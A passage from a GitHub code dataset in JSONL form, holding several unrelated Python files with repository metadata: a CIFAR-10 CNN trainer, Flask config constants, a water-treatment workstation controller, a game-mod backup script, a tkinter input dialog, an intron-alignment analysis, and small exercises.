50K training samples and 10K test samples\n# 32x32 pixel image - 10 output classes(labels)\n(X_train, y_train), (X_test, y_test) = cifar10.load_data()\n\nprint(X_train.shape)\n\n# we have 10 output classes we want to end up with one hot\n# i.e. 0 --> (1 0 0 0 0 0 0 0 0 0), 1 --> (0 1 0 0 0 0 0 0 0 0)\ny_train = to_categorical(y_train)\ny_test = to_categorical(y_test)\n\n# normalizing the dataset\nX_train = X_train/255.0\nX_test = X_test/255.0\n\n# cosntruct CNN model\nmodel = Sequential()\nmodel.add(Conv2D(32, (3,3), activation='relu', kernel_initializer='he_uniform', padding='same', input_shape=(32, 32, 3))) #32 -> image_height, 32-> image width, 2-> RGB\nmodel.add(BatchNormalization())\nmodel.add(Conv2D(32, (3,3), activation='relu', kernel_initializer='he_uniform', padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPooling2D((2,2)))\nmodel.add(Dropout(0.2))\nmodel.add(Conv2D(64, (3,3), activation='relu', kernel_initializer='he_uniform', padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Conv2D(64, (3,3), activation='relu', kernel_initializer='he_uniform', padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPooling2D((2,2)))\nmodel.add(Dropout(0.2))\nmodel.add(Conv2D(128, (3,3), activation='relu', kernel_initializer='he_uniform', padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(Conv2D(128, (3,3), activation='relu', kernel_initializer='he_uniform', padding='same'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPooling2D((2,2)))\nmodel.add(Dropout(0.2))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu', kernel_initializer='he_uniform'))\nmodel.add(Dense(10, activation='softmax'))\n\n# training model ; SGD --> Sophastic Gradient Descent\noptimizer = SGD(learning_rate=0.001, momentum=0.95)\nmodel.compile(optimizer=optimizer, loss='categorical_crossentropy', metrics=['accuracy'])\n\nhistory = model.fit(X_train, y_train, epochs=5, batch_size=64, validation_data=(X_test, y_test), verbose=2)\n\n#evaluate the model\nmodel_result = model.evaluate(X_test, y_test, verbose=0)\nprint('Accuracy of CNN Model: %s' % (model_result[1] * 100.0))\n\n","repo_name":"RochakSedai/Deep_learning_bootcamp2022","sub_path":"CNN/CNNCifardataset.py","file_name":"CNNCifardataset.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40074126054","text":"import sys\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nFLASK_ENV = os.environ[\"FLASK_ENV\"]\nSTRIPE_WEBHOOK_SECRET = os.environ[\"STRIPE_WEBHOOK_SECRET\"]\nSTRIPE_SECRET_API_KEY = os.environ[\"STRIPE_SECRET_API_KEY\"]\nPOSTGRES_URI = 'sqlite:///test.db' if 'pytest' in sys.modules else os.environ[\n \"POSTGRES_URI\"]\nMONGODB_URI = \"mongomock://localhost\" if 'pytest' in sys.modules else os.environ[\n \"MONGODB_URI\"]\nMONGODB_DATABASE = 'test' if 'pytest' in sys.modules else os.environ[\n \"MONGODB_DATABASE\"]\n","repo_name":"MonitoRSS/payments-webhooks","sub_path":"utils/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14993972852","text":"from dataclasses import dataclass, field\nfrom typing import Dict, List\n\nfrom pydantic import BaseModel\n\nfrom backend.exceptions import WorkstationNotFound\nfrom backend.exceptions.workstation import InvalidMetric\nfrom backend.services import DBService\nfrom backend.services.influx_service import InfluxService\nfrom backend.controllers.websockets_controller import (\n NotificationsService,\n PushingStateService,\n)\n\nfrom ..utils import get_logger\nfrom .tasks import TasksController\nfrom .workstation_store import (\n Component,\n ComponentType,\n MetricType,\n WorkstationInfo,\n WorkstationSpecification,\n init_store,\n)\n\nlogger = get_logger(\"WORKSTATION_CONTROLLER\")\n\nHARDCODED_BUCKET = \"WORKSTATION-DATA\"\n\n\nclass MetricsData(BaseModel):\n measurement: str\n field: str\n value: float\n\n\nclass MetricsList(BaseModel):\n workstation_name: str\n metrics: List[MetricsData]\n\n\nclass MetricTypes(BaseModel):\n pass\n\n\nclass PumpState(BaseModel):\n voltage: float\n current: float\n is_on: bool\n\n\nclass ValveState(BaseModel):\n voltage: float\n current: float\n is_open: bool\n\n\nclass TankState(BaseModel):\n pressure: float\n offset: float\n water_level: float\n float_switch_up: bool\n water_volume: float\n\n\nclass WorkstationMetricsState(BaseModel):\n pumps: Dict[str, PumpState]\n valves: Dict[str, ValveState]\n tanks: Dict[str, TankState]\n currentScenario: str\n type: str = \"state\"\n\n\n@dataclass\nclass WorkstationController:\n dbService: DBService\n influxService: InfluxService\n notificationService: NotificationsService\n pushingStateService: PushingStateService\n store: Dict[str, WorkstationSpecification] = field(\n default_factory=dict\n ) # read only\n tasksController = None # crappy init TODO fix that\n\n def __post_init__(self):\n self.store = init_store(self.dbService)\n self.notificationService.init_service(list(self.store.keys()))\n self.pushingStateService.init_service(list(self.store.keys()))\n self.tasksController = TasksController(\n self.store, self.influxService, self.notificationService\n )\n\n def getStation(self, station_name: str) -> WorkstationInfo:\n try:\n return self.store[station_name]\n except Exception:\n raise WorkstationNotFound\n\n def getWorkstations(self) -> List[str]:\n return list(self.store.keys())\n\n def pullMetrics(self, station_name: str) -> MetricsData:\n try:\n return self.influxService.read(\n f'from(bucket:\"{HARDCODED_BUCKET}\") |> range(start: -10m)'\n )\n except Exception as e:\n logger.error(f\"Error reading from influx: {e}\")\n\n async def pushMetrics(self, metricList: MetricsList) -> None:\n components = self.store[metricList.workstation_name].components\n # I know, I know, don't repeat yourself\n pumps = list(\n filter(lambda x: x.component_type == ComponentType.PUMP, components)\n )\n tanks = list(\n filter(lambda x: x.component_type == ComponentType.TANK, components)\n )\n valves = list(\n filter(lambda x: x.component_type == ComponentType.VALVE, components)\n )\n\n pumps = list(map(lambda x: x.name, pumps))\n tanks = list(map(lambda x: x.name, tanks))\n valves = list(map(lambda x: x.name, valves))\n\n stateJson = {\n \"pumps\": {},\n \"tanks\": {},\n \"valves\": {},\n }\n\n for compnames, comptype in [\n (pumps, \"pumps\"),\n (tanks, \"tanks\"),\n (valves, \"valves\"),\n ]:\n for name in compnames:\n stateJson[comptype][name] = {}\n\n referencePressure: float = None\n workstationName: str = metricList.workstation_name\n currentScenario = self.tasksController.pushingThreads[workstationName].currentScenario\n workstationState: WorkstationMetricsState = WorkstationMetricsState(\n pumps={}, tanks={}, valves={}, currentScenario=currentScenario\n )\n\n try:\n for metric in metricList.metrics:\n comp_name = metric.field\n measurement = MetricType(metric.measurement)\n value = metric.value\n if comp_name == \"reference\" and measurement == \"pressure\":\n referencePressure = value\n\n if comp_name in pumps:\n stateJson[\"pumps\"][comp_name][measurement] = value\n if comp_name in tanks:\n stateJson[\"tanks\"][comp_name][measurement] = value\n if comp_name in valves:\n stateJson[\"valves\"][comp_name][measurement] = value\n\n for pump in stateJson[\"pumps\"]:\n voltage = stateJson[\"pumps\"][pump][MetricType.VOLTAGE]\n current = stateJson[\"pumps\"][pump][MetricType.CURRENT]\n pumpNumber = pump[1:]\n float_switch_up = stateJson[\"tanks\"][f\"C{pumpNumber}\"][\n MetricType.FLOAT_SWITCH_UP\n ]\n\n if voltage > 4 and current > 40 and not float_switch_up:\n is_on = 1\n else:\n is_on = 0\n workstationState.pumps[pump] = PumpState(\n voltage=voltage, current=current, is_on=bool(is_on)\n )\n\n metricList.metrics.append(\n MetricsData(\n measurement=MetricType.IS_ON,\n field=pump,\n value=is_on,\n )\n )\n\n for tank in stateJson[\"tanks\"]:\n pressure = stateJson[\"tanks\"][tank][MetricType.PRESSURE]\n float_switch_up = stateJson[\"tanks\"][tank][MetricType.FLOAT_SWITCH_UP]\n tankComponent: Component = list(\n filter(\n lambda x: x.name == tank, self.store[workstationName].components\n )\n )[0]\n offset= tankComponent.offset\n width = tankComponent.width\n lenght = tankComponent.length\n\n water_level = pressure - referencePressure - offset + 1\n workstationState.tanks[tank] = TankState(\n pressure=pressure,\n offset=offset,\n water_level=water_level,\n float_switch_up=float_switch_up,\n water_volume = width*lenght*water_level\n )\n metricList.metrics.append(\n MetricsData(\n measurement=MetricType.WATER_LEVEL,\n field=tank,\n value=water_level,\n )\n )\n\n for valve in stateJson[\"valves\"]:\n current = stateJson[\"valves\"][valve][MetricType.CURRENT]\n voltage = stateJson[\"valves\"][valve][MetricType.VOLTAGE]\n\n if voltage > 4 and current > 40:\n is_open = 1\n else:\n is_open = 0\n\n workstationState.valves[valve] = ValveState(\n current=current,\n voltage=voltage,\n is_open=bool(is_open),\n )\n\n metricList.metrics.append(\n MetricsData(\n measurement=MetricType.IS_OPEN,\n field=valve,\n value=is_open,\n )\n )\n\n # if not self.validate_metric(metric, metricList.workstation_name):\n # raise InvalidMetric(\n # f\"Metric {metric.field}, {metric.measurement} is invalid!\"\n # )\n self.influxService.write(\n workstation=metricList.workstation_name, metrics=metricList.metrics\n )\n\n \n except InvalidMetric as e:\n logger.debug(f\"Invalid Metric {e}\")\n\n except Exception as e:\n logger.error(f\"Error writing to influx: {e}\")\n await self.pushingStateService.broadcast_state(\n workstationName, workstationState\n )\n\n def validate_metric(self, metric: MetricsData, workstationName: str):\n def get_component_name(id):\n return list(\n filter(\n lambda x: x.component_id == id,\n self.store[workstationName].components,\n )\n )[0].name\n\n return (metric.field, metric.measurement) in list(\n map(\n lambda x: (get_component_name(x.component_id), x.metric),\n self.store[workstationName].metrics,\n )\n )\n","repo_name":"WaterTreatmentLab/local-backend","sub_path":"src/backend/controllers/workstation.py","file_name":"workstation.py","file_ext":"py","file_size_in_byte":8816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19745161210","text":"import os\nimport shutil\nimport sys\nimport time\n\n# Set these manually if not using command line\nMODS_FOLDER_PATH = \"C:\\\\Program Files (x86)\\\\Steam\\\\steamapps\\\\common\\\\Don't Starve Together\\\\mods\"\nMODS_BACKUP_LOCATION = \"C:\\\\Users\\\\UserName\\\\Documents\\\\DST_mod_backups\"\n\ndef move_folder(src_path, backup_path, mod_name):\n \"\"\"\n Takes the location of a mod folder,\n Location of backup folder,\n and \n Copies folder to MODS_BACKUP_LOCATION as a result,\n but with mod_name as the folder name instead.\n Will not copy if already exists there.\n \"\"\"\n illegal_characters = \"\\\"\\\\/:|<>*?\"\n for character in illegal_characters:\n mod_name = mod_name.replace(character,'')\n mod_name = mod_name.strip(' \\'')\n\n dst_path = backup_path + \"\\\\{}\".format(mod_name)\n if os.path.exists(dst_path):\n print(\"Path for {} already exists, skipping...\".format(mod_name))\n return None\n new_path = shutil.copytree(src_path, dst_path)\n print(\"Created backup at:\", new_path)\n\n\ndef backup_mods(mods_folder_path, backup_path):\n \"\"\"Iterates through workshop mods, fetches name, copies folder\"\"\"\n\n # Verify paths\n mod_folder_exists = os.path.exists(mods_folder_path)\n backup_folder_exists = os.path.exists(backup_path)\n\n if not mod_folder_exists:\n print(\"Mods folder Path: {} does not exist. Change it in the python file.\"\\\n .format(backup_path))\n return None\n if not backup_folder_exists:\n print(\"Backup Path: {} does not exist.\".format(backup_path))\n print(\"Change it in the python file, or create it if that's where you want backups\")\n return None\n\n # Get a list of workshop mods from mods folder\n mod_folder_list = os.listdir(mods_folder_path)\n workshop_folders = []\n for folder_name in mod_folder_list:\n if \"workshop\" in folder_name:\n workshop_folders.append(folder_name)\n\n # Get name and copy to backups folder\n for folder_name in workshop_folders:\n mod_path = mods_folder_path + \"\\\\\" +folder_name \n modinfo_path = mod_path + \"\\\\modinfo.lua\"\n\n # Get mod name\n mod_name = \"\"\n workshop_id = folder_name.split(\"-\")[1]\n try:\n with open(modinfo_path, 'r', encoding='utf-8') as modinfo_file:\n for line in modinfo_file:\n if line[:4] == \"name\":\n mod_name = line.split('=')[1].strip(\" \\n\")\n break\n except UnicodeDecodeError:\n print(\"Unexpected encoding, trying another way...\")\n with open(modinfo_path, 'r', encoding='latin-1') as modinfo_file:\n for line in modinfo_file:\n if line[:4] == \"name\":\n mod_name = line.split('=')[1].strip(\" \\n\")\n break\n # Copy to dest\n move_folder(mod_path, backup_path, mod_name)\n print(\"Done!\")\n\nif __name__ == '__main__':\n if len(sys.argv) == 1:\n print(\"No command line args, using default paths in file...\")\n backup_mods(MODS_FOLDER_PATH, MODS_BACKUP_LOCATION)\n elif len(sys.argv) == 3:\n backup_mods(sys.argv[1], sys.argv[2])\n else:\n print(\"Got {} command line arguments, expected 2.\".format(len(sys.argv)-1))\n time.sleep(10)","repo_name":"jasonmorgado/Dont-Starve-Mod-Backup-Script","sub_path":"backup_mods.py","file_name":"backup_mods.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"12363373567","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n Paquete fundamentos\r\n Conjunto de módulos para hacer entrada/salida sencilla en Python\r\n\r\n Copyright (C) 2019\r\n Universidad de Cantabria, SPAIN\r\n Versión 1.1\r\n Marzo 2019\r\n\r\n @author: Michael Gonzalez \r\n\r\n Licencia: GPL\r\n This program is free software; you can redistribute it and/or\r\n modify it under the terms of the GNU General Public\r\n License as published by the Free Software Foundation; either\r\n version 3 of the License, or (at your option) any later version.\r\n\r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\r\n General Public License for more details.\r\n\r\n\"\"\"\r\n\r\n\r\n\r\nfrom tkinter import Tk\r\nfrom tkinter import Frame\r\nfrom tkinter import Label\r\nfrom tkinter import Entry\r\nfrom tkinter import Button\r\nfrom tkinter import E\r\nfrom tkinter import SUNKEN\r\nfrom tkinter import StringVar\r\nfrom tkinter.ttk import Combobox, Checkbutton, Radiobutton\r\n\r\nimport time\r\nimport math\r\n\r\nfrom typing import List\r\nfrom typing import Dict\r\n\r\nfrom read_parameters.mensaje import Mensaje\r\nfrom read_parameters.tooltip import *\r\n\r\nclass Lectura():\r\n \"\"\"\r\n Esta clase representa una ventana con entradas para teclear datos\r\n \"\"\"\r\n\r\n def __init__(self, titulo: str):\r\n \"\"\"\r\n Crea la ventana\r\n\r\n Args:\r\n titulo: El título de la ventana\r\n \"\"\"\r\n self.__raiz = Tk()\r\n self.__raiz.title(titulo)\r\n self.__raiz.resizable(0, 0)\r\n\r\n # contenedores para las entradas\r\n self.__etiquetas: List[Label] = []\r\n self.__entradas: List[Label] = []\r\n self.__textos: List[str] = []\r\n self.__diccionario: Dict[str, Entry] = {}\r\n\r\n self.__marco = Frame(self.__raiz, borderwidth=2,\r\n relief=\"raised\")\r\n self.__separador = Frame(self.__marco, height=2, bd=1, relief=SUNKEN)\r\n self.__boton_ok = Button(self.__marco, text=\"OK\",\r\n command=self._on_ok)\r\n\r\n self.__marco.grid(column=0, row=0, padx=5, pady=5)\r\n\r\n self._colocar_widgets()\r\n\r\n self.__finalize = False\r\n self.__terminate = False\r\n self.__raiz.protocol(\"WM_DELETE_WINDOW\", self._on_closing)\r\n self.__raiz.wm_attributes(\"-topmost\", True)\r\n self.__raiz.update()\r\n self.__raiz.wm_attributes(\"-topmost\", False)\r\n\r\n\r\n def _on_ok(self):\r\n \"\"\"\r\n Anotar que la ventana debe cerrarse\r\n \"\"\"\r\n self.__finalize = True\r\n\r\n def _on_closing(self):\r\n \"\"\"\r\n Destruir la ventana y salir de la aplicación\r\n \"\"\"\r\n self.__finalize = True\r\n self.__terminate = True\r\n self.__raiz.quit()\r\n self.__raiz.destroy()\r\n\r\n def _colocar_widgets(self):\r\n \"\"\"\r\n Places the widgets\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n fila: int = 0\r\n for i in range(len(self.__textos)):\r\n self.__etiquetas[i].grid(column=0, row=fila, sticky=E,\r\n padx=5, pady=5)\r\n self.__entradas[i].grid(column=1, row=fila, padx=5, pady=5)\r\n fila += 1\r\n self.__separador.grid(column=0, row=fila,\r\n columnspan=2, padx=5, pady=2)\r\n fila += 1\r\n self.__boton_ok.grid(column=0, row=fila,\r\n columnspan=2, padx=5, pady=5)\r\n\r\n def coloca_widget_donde_quiera(self, entrada, clmn, rw):\r\n \"\"\"\r\n Places the widgets in a given position\r\n\r\n Parameters\r\n ----------\r\n entrada : str\r\n name of the entry.\r\n clmn : int\r\n column.\r\n rw : int\r\n row.\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n entrada.grid(column=clmn, row=rw, padx=5, pady=5)\r\n \r\n def coloca_widget_donde_quiera_special_last_item(self, entrada, clmn, rw, etiqueta):\r\n \"\"\"\r\n Special function to place a widget if it is the last item. The other function does not work fine\r\n for some reason.\r\n\r\n Parameters\r\n ----------\r\n entrada : str\r\n text to be displayed.\r\n clmn : int\r\n column.\r\n rw : int\r\n row.\r\n etiqueta : str\r\n name of the entry.\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n self.__etiquetas[0].grid(column=clmn-1, row=rw, sticky=E,\r\n padx=5, pady=5)\r\n entrada.grid(column=clmn, row=rw, padx=5, pady=5)\r\n self.__boton_ok.grid(column=0, row=2,\r\n columnspan=2, padx=5, pady=5)\r\n \r\n def _muestra_error(self, texto: str):\r\n \"\"\"\r\n Muestra un mensaje de error en pantalla\r\n\r\n Args:\r\n texto: el texto del mensaje de error\r\n \"\"\"\r\n self.__raiz.withdraw()\r\n msg = Mensaje(\"Error\", texto)\r\n msg.espera()\r\n msg.destruye()\r\n self.__raiz.update()\r\n self.__raiz.deiconify()\r\n\r\n\r\n def crea_entrada(self, msg, etiqueta: str, valor_inicial: str = \"\", default=True, clmn=0, rw=0, wdth=20):\r\n \"\"\"\r\n Creates a box to introduce text\r\n\r\n Parameters\r\n ----------\r\n msg : str\r\n message to show while pointing with the cursor.\r\n etiqueta : str\r\n name of the entry.\r\n valor_inicial : str, optional\r\n value to be displayed initially. The default is \"\".\r\n default : bool, optional\r\n if True, writes text close to the box. The default is True.\r\n clmn : int, optional\r\n column to place the box. The default is 0.\r\n rw : TYPE, optional\r\n row to place the box. The default is 0.\r\n wdth : float, optional\r\n width of the box. The default is 20.\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n \r\n # Comprobamos etiqueta repetida\r\n if etiqueta in self.__diccionario:\r\n self._muestra_error(\"Etiqueta '\"+etiqueta+\"' repetida\")\r\n \r\n if not default: \r\n entrada = Entry(self.__marco,\r\n textvariable=self.__textos[len(self.__textos)-1],\r\n width=wdth)\r\n self.__entradas.append(entrada)\r\n entrada.insert(0, valor_inicial)\r\n self.__diccionario[etiqueta] = entrada\r\n self.coloca_widget_donde_quiera(entrada, clmn, rw)\r\n self.escribe_mensaje(msg, entrada)\r\n \r\n else:\r\n lbl = Label(self.__marco, text=etiqueta)\r\n self.__etiquetas.append(lbl)\r\n self.__textos.append(\"\")\r\n entrada = Entry(self.__marco,\r\n textvariable=self.__textos[len(self.__textos)-1],\r\n width=wdth)\r\n self.__entradas.append(entrada)\r\n entrada.insert(0, valor_inicial)\r\n self.__diccionario[etiqueta] = entrada\r\n self._colocar_widgets()\r\n self.escribe_mensaje(msg, lbl)\r\n \r\n def crea_label(self, etiqueta, columna, fila):\r\n \"\"\"\r\n Writes text in a given place\r\n\r\n Parameters\r\n ----------\r\n etiqueta : str\r\n name of the entry.\r\n columna : int\r\n column to place it.\r\n fila : int\r\n row to place it.\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n Label(self.__marco, text=etiqueta).grid(column=columna, row=fila, padx=5, pady=5)\r\n \r\n \r\n \r\n def crea_combo(self, msg, etiqueta, values, default=True, clmn=0, rw=0, wdth=20, last=False):\r\n \"\"\"\r\n Creates a combobox\r\n\r\n Parameters\r\n ----------\r\n msg : str\r\n message.\r\n etiqueta : str\r\n label to name the entry.\r\n values : any\r\n default value to be displayed.\r\n default : bool, optional\r\n if True creates the combobox with text. The default is True.\r\n clmn : int, optional\r\n column of the canvas. The default is 0.\r\n rw : int, optional\r\n row of the canvas. The default is 0.\r\n wdth : float, optional\r\n width of the combobox. The default is 20.\r\n last : bool, optional\r\n if True, it locates the widget in (clmn, rw) position. The default is False.\r\n\r\n Returns\r\n -------\r\n entrada : any\r\n value.\r\n\r\n \"\"\"\r\n if etiqueta in self.__diccionario and default:\r\n self._muestra_error(\"Etiqueta '\"+etiqueta+\"' repetida\")\r\n \r\n \r\n if not default:\r\n\r\n entrada = Combobox(self.__marco,\r\n width=wdth)\r\n entrada['values'] = values\r\n entrada['state'] = 'readonly'\r\n entrada.current(0)\r\n \r\n self.__entradas.append(entrada)\r\n self.__diccionario[etiqueta] = entrada\r\n \r\n self.coloca_widget_donde_quiera(entrada, clmn, rw)\r\n self.escribe_mensaje(msg, entrada)\r\n else:\r\n\r\n lbl = Label(self.__marco, text=etiqueta)\r\n self.__etiquetas.append(lbl)\r\n self.__textos.append(\"\")\r\n entrada = Combobox(self.__marco,\r\n width=wdth)\r\n entrada['values'] = values\r\n entrada['state'] = 'readonly'\r\n entrada.current(0)\r\n\r\n self.__entradas.append(entrada)\r\n self.__diccionario[etiqueta] = entrada\r\n if last:\r\n self.coloca_widget_donde_quiera_special_last_item(entrada, clmn, rw, etiqueta)\r\n else:\r\n self._colocar_widgets()\r\n self.escribe_mensaje(msg, lbl)\r\n return entrada\r\n \r\n def espera(self)-> bool:\r\n \"\"\"\r\n Pinta la ventana y espera hasta que se pulsa OK\r\n\r\n Returns:\r\n True si se ha matado la ventana, False si se ha pulsado OK\r\n \"\"\"\r\n self.__raiz.update()\r\n while not self.__finalize:\r\n self.__raiz.update()\r\n time.sleep(0.01)\r\n self.__finalize = False\r\n return self.__terminate\r\n\r\n\r\n def lee_string(self, etiqueta: str) -> str:\r\n \"\"\"\r\n Lee el texto de la entrada cuya etiqueta se indica\r\n\r\n Si la entrada no existe se pone un mensaje de error\r\n\r\n Args:\r\n etiqueta: la etiqueta de la entrada que se desea leer\r\n Returns:\r\n el texto escrito en la entrada deseada, si existe, o un\r\n string vacío si la entrada no existe\r\n \"\"\"\r\n if etiqueta in self.__diccionario:\r\n return self.__diccionario[etiqueta].get().lower()\r\n # La etiqueta no existe\r\n self._muestra_error(\"Etiqueta '\"+etiqueta+\"' no existe\")\r\n return \"\"\r\n\r\n\r\n def lee_int(self, etiqueta: str) -> str:\r\n \"\"\"\r\n Lee el número entero de la entrada cuya etiqueta se indica. Si el numero\r\n no es entero devuelve el entero más cercano\r\n\r\n Si la entrada no existe se pone un mensaje de error y retorna -1\r\n\r\n Args:\r\n etiqueta: la etiqueta de la entrada que se desea leer\r\n Returns:\r\n el número entero escrito en la entrada deseada, si existe, o -1\r\n si la entrada no existe o es incorrecta\r\n \"\"\"\r\n num: str = self.lee_string(etiqueta)\r\n if num == \"\":\r\n return -1\r\n \r\n return int(num)\r\n \r\n\r\n def lee_float(self, etiqueta: str) -> str:\r\n \"\"\"\r\n Lee el número real de la entrada cuya etiqueta se indica\r\n\r\n Si la entrada no existe se pone un mensaje de error y se retorna nan\r\n\r\n Args:\r\n etiqueta: la etiqueta de la entrada que se desea leer\r\n Returns:\r\n el número entero escrito en la entrada deseada, si existe, o nan\r\n si la entrada no existe o es incorrecta\r\n \"\"\"\r\n num: str = self.lee_string(etiqueta)\r\n if num == \"\":\r\n return math.nan\r\n \r\n return float(num)\r\n \r\n def escribe_mensaje(self, mensaje, widget):\r\n \"\"\"\r\n Writes a message while pointing with the cursor\r\n\r\n Parameters\r\n ----------\r\n mensaje : str\r\n message.\r\n widget : str\r\n label of the line where the message is activated.\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n\r\n CreateToolTip(widget, text=mensaje)\r\n\r\n\r\n def destruye(self):\r\n \"\"\"\r\n Destruir la ventana\r\n \"\"\"\r\n if not self.__terminate:\r\n self.__raiz.quit()\r\n self.__raiz.destroy()\r\n","repo_name":"s3rbg/molecular_dynamics","sub_path":"read_parameters/lectura_modified.py","file_name":"lectura_modified.py","file_ext":"py","file_size_in_byte":12967,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41330966753","text":"import sys\nimport re\nfrom Bio import Entrez\nfrom ete3 import NCBITaxa\nfrom collections import defaultdict\n\ndef get_species_name(header):\n match = re.search(r'\\[(.*?)\\]', header)\n if match:\n species_name = match.group(1)\n return species_name\n else:\n return \"Unknown\"\n\ninput_file = sys.argv[1]\noutput_file = sys.argv[2]\nprotein_id = sys.argv[3]\noutput_file_lca = sys.argv[4]\n\n# Initialize the Entrez module from Biopython and provide your email address\nEntrez.email = \"celinehohzm@gmail.com\"\nncbi = NCBITaxa()\n\n# Read the input file\nwith open(input_file, \"r\") as infile:\n lines = infile.readlines()\n\n# Separate headers and sequences\nheaders = []\nsequences = []\nseq = \"\"\n\nfor line in lines:\n if line.startswith(\">\"):\n headers.append(line.strip())\n if seq:\n sequences.append(seq)\n seq = \"\"\n else:\n seq += line.strip()\n\nif seq:\n sequences.append(seq)\n\n# Find intron positions in the first alignment\nintron_positions = [i for i, c in enumerate(sequences[0]) if c == \"X\"]\n\n# Analyze alignments\nresults = []\nfor pos in intron_positions:\n intron_name = f\"intron_{len(results) + 1}\"\n aligned_count = 0\n unaligned_count = 0\n with_x = []\n without_x = []\n for i, seq in enumerate(sequences[1:]):\n # Take slice from seq[pos - 2] to seq[pos + 2] inclusive, and check if \"X\" is in it\n slice = seq[max(0, pos - 2): min(len(seq), pos + 3)]\n slice_without_dash = [c for c in slice if c != '-']\n species_name = get_species_name(headers[i + 1])\n if \"X\" in slice_without_dash:\n aligned_count += 1\n with_x.append(species_name)\n else:\n unaligned_count += 1\n without_x.append(species_name)\n\n results.append({\"name\": intron_name, \"aligned_count\": aligned_count, \"unaligned_count\": unaligned_count, \"with_x\": with_x, \"without_x\": without_x})\n\n# Write results to the output file\nwith open(output_file, \"w\") as outfile:\n for result in results:\n outfile.write(f\"{result['name']} - X aligned count: {result['aligned_count']} - X not aligned count: {result['unaligned_count']}\\n\")\n outfile.write(\"Species with X: \" + ', '.join(result['with_x']) + \"\\n\")\n outfile.write(\"Species without X: \" + ', '.join(result['without_x']) + \"\\n\\n\")\n\n\ndef get_lca(ncbi, species):\n # Get taxids for species\n taxids = [ncbi.get_name_translator([name])[name][0] for name in species if ncbi.get_name_translator([name])]\n # Use get_topology to get a pruned NCBI taxonomy tree\n tree = ncbi.get_topology(taxids, intermediate_nodes=True)\n # The LCA would be the root of the pruned tree\n lca = tree.get_tree_root()\n print(\"lca_name\", tree.get_common_ancestor(taxids).name)\n lca_name = ncbi.get_taxid_translator([int(lca.name)])[int(lca.name)]\n return lca_name\n\n# Inside the loop\nwith open(output_file_lca, \"w\") as outfile_lca:\n for result in results:\n if len(result['without_x']) / (len(result['with_x']) + len(result['without_x'])) > 0.2:\n species_with_x = [get_species_name(header) for header in result['with_x']]\n taxids = [ncbi.get_name_translator([name])[name][0] for name in species_with_x if ncbi.get_name_translator([name])]\n # Find common ancestor \n tree = ncbi.get_topology(taxids)\n common_ancestor = tree.name\n # If you want to know the rank (e.g. kingdom, phylum, etc.) of the common ancestor\n rank = ncbi.get_rank([common_ancestor])\n print(\"The common ancestor is at the rank: \", rank[common_ancestor])\n outfile_lca.write(f\"{protein_id}\\t{result['name']}\\t{' '.join(result['with_x'])}\\n{rank}\\n\")\n\n","repo_name":"celinehohzm/intron_pos_conserve","sub_path":"src/3_MANE_analyze_introns_and_find_lca_for_recent_introns.py","file_name":"3_MANE_analyze_introns_and_find_lca_for_recent_introns.py","file_ext":"py","file_size_in_byte":3707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31291835637","text":"\n# 큰수의 법칙\n# n개의 주어진 수를 총 m번 더할때 주어진 수중 가장 큰 합\n# 하지만 수가 k번 연속 되면 안된다.\n\nn,m,k = map(int, input().split())\n\ndata = list(map(int, input().split()))\n# for i in range(n):\n# print(f'{i}입력')\n\ndata.sort()\n\nfirst = data[n-1]\nsecond = data[n-2]\n\nprint(f'{first}, {second}')\n\nsum = 0\ncount = 0\nfor i in range(m):\n if count != k:\n sum += first\n count +=1\n print(f'sum {i}, count{count}, {first}더한 합은 {sum}')\n else:\n count = 0\n sum += second\n print(f'sum {i}, count{count}, {second}더한 합은 {sum}')\n\nprint(data)\n","repo_name":"junghyejung1221/python_codingT","sub_path":"3_2.py","file_name":"3_2.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28628014648","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.leftNext = None #referencias p filhos\n self.rightNext = None\n\n def __str__(self):\n return str(self.data)\n\nclass BinaryTree: #ponto de partida p/ realizar as funcoes\n def __init__(self, data):\n node = Node(data)\n self.root = node #a raiz vai ser o primeiro nó\n \n \n #percorer de mandeira simétrica, começando sempre pela esquerda (inorder)\n def simetric_traversal(self, node=None): \n if node is None:\n node = self.root\n if node.leftNext:\n print('(', end ='')\n self.simetric_traversal(node.leftNext) #funcao recursiva\n print(node, end='')\n if node.rightNext:\n self.simetric_traversal(node.rightNext)\n print(')',end ='')\n \n def postorder_traversal(self, node=None):\n if node is None:\n node = self.root\n if node.leftNext:\n self.postorder_traversal(node.leftNext)\n if node.rightNext:\n self.postorder_traversal(node.leftNext)\n print(node)\n","repo_name":"HansRafael/MyProjects","sub_path":"University_FURG/Estrutura de 